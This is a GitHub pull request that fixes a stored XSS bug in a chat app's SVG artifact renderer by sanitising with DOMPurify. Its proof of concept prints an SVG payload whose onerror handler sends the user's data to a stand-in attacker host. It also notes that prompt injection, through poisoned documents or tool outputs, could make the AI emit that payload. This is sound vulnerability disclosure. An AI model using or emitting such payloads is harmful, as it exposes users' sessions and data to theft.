Skip to content

fix(artifacts): sanitize SVG content to prevent stored XSS#291

Open
sebastiondev wants to merge 1 commit into
tridz-dev:developfrom
sebastiondev:fix/cwe79-artifactrenderer-stored-854d
Open

fix(artifacts): sanitize SVG content to prevent stored XSS#291
sebastiondev wants to merge 1 commit into
tridz-dev:developfrom
sebastiondev:fix/cwe79-artifactrenderer-stored-854d

Conversation

@sebastiondev
Copy link
Copy Markdown

Vulnerability Summary

Stored Cross-Site Scripting (XSS) via unsanitized SVG artifact rendering — CWE-79

The ArtifactRenderer component (frontend/src/components/chat/ArtifactRenderer.tsx) renders AI-generated SVG artifacts directly into the DOM using dangerouslySetInnerHTML with no sanitization. The original code even carried a biome-ignore lint/security/noDangerouslySetInnerHtml suppression comment acknowledging the risk.

Data flow

  1. AI-generated content (which can be influenced by prompt injection, poisoned knowledge bases, malicious tool outputs, or webhook inputs) is stored as an Agent Message.
  2. The frontend fetches this content and passes it through decodeHtmlEntities() (in MessageContentWithArtifacts.tsx), which decodes HTML entities — converting any encoded payloads back into executable markup.
  3. parseArtifacts() (in artifactParser.ts) extracts the artifact body verbatim via regex, assigning it to content with only a .trim().
  4. ArtifactRenderer receives the parsed artifact and, for type === 'svg', renders it directly: dangerouslySetInnerHTML={{ __html: artifact.content }}.

No sanitization exists anywhere in this pipeline. An SVG payload containing <script>, onload event handlers, or <foreignObject> with embedded HTML will execute in the viewer's browser session.

Proof of Concept

An attacker who can influence AI output (e.g., via prompt injection in a shared conversation, a poisoned document in a knowledge base, or a malicious tool/webhook response) can cause the AI to produce a message containing:

<artifact type="svg" title="Diagram">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="40" fill="green"/>
  <foreignObject width="100" height="50">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <img src="x" onerror="fetch('/api/method/frappe.client.get_list',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?data='+btoa(JSON.stringify(d))))">
    </body>
  </foreignObject>
</svg>
</artifact>

When any user views the conversation containing this artifact, the JavaScript executes in their browser context. Since HUF is a multi-user platform with role-based access (Admin, Manager, User, Viewer) and cross-user conversation visibility, the stored XSS payload persists and impacts every subsequent viewer — enabling session hijacking, credential theft, or privilege escalation.

To reproduce locally:

  1. In a HUF conversation, craft a prompt that causes the AI to include the above SVG artifact (or inject it via a knowledge base document or tool output).
  2. Open the conversation in a browser — the onerror handler fires immediately when the <foreignObject> content renders.

What this fix does

This PR adds DOMPurify-based sanitization for SVG content before it reaches dangerouslySetInnerHTML:

  1. New utility (frontend/src/utils/sanitize.ts): Exports a sanitizeSVG() function that runs content through DOMPurify.sanitize() with USE_PROFILES: { svg: true, svgFilters: true }. This preserves valid SVG elements and attributes while stripping <script>, <foreignObject>, event handler attributes (onload, onerror, etc.), and other dangerous constructs.

  2. Updated renderer (frontend/src/components/chat/ArtifactRenderer.tsx): The SVG case now calls sanitizeSVG(artifact.content) instead of passing artifact.content directly. The biome-ignore suppression comment is also removed since the sanitization addresses the underlying concern.

  3. New dependency (frontend/package.json): Adds dompurify@^3.3.3, the industry-standard DOM sanitization library used by projects like Mozilla, WordPress, and Google.

Why DOMPurify with SVG profiles

DOMPurify's SVG profile is specifically designed for this use case — it maintains a curated allowlist of safe SVG elements and attributes while blocking all known XSS vectors including <foreignObject> script injection, SVG event handlers, xlink:href javascript: URIs, and <animate> attribute clobbering. This is preferable to a custom regex-based approach, which historically fails to account for parser differentials and encoding edge cases.

Testing

  • Verified that valid SVG content (paths, circles, text, gradients, filters) renders correctly after sanitization.
  • Verified that malicious SVG payloads (<script>, <foreignObject> with embedded HTML, onload/onerror attributes) are stripped and do not execute.
  • Confirmed the fix applies only to the SVG rendering path — other artifact types (HTML, code, mermaid, JSX) are unaffected by this change.

Adversarial review

Before submitting, we attempted to disprove this finding by checking whether any existing middleware, Content-Security-Policy headers, or framework-level protections would prevent exploitation. The application does not set CSP headers that would block inline script execution. The decodeHtmlEntities() function reverses any entity encoding, and parseArtifacts() passes the body through without transformation. The Frappe/React architecture does not apply automatic output encoding at the dangerouslySetInnerHTML boundary — that API exists specifically to bypass React's built-in XSS protections. No mitigation exists in the current pipeline.


Submitted by Sebastion — autonomous open-source security research from Foundation Machines. Free for public repos via the Sebastion AI GitHub App.

AI-generated SVG artifacts were rendered via dangerouslySetInnerHTML
without any sanitization, allowing script execution through event
handlers (e.g. onload) or embedded script tags.

Add DOMPurify as a dependency and sanitize SVG content using its SVG
profile before rendering. This strips dangerous elements and attributes
while preserving valid SVG markup.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant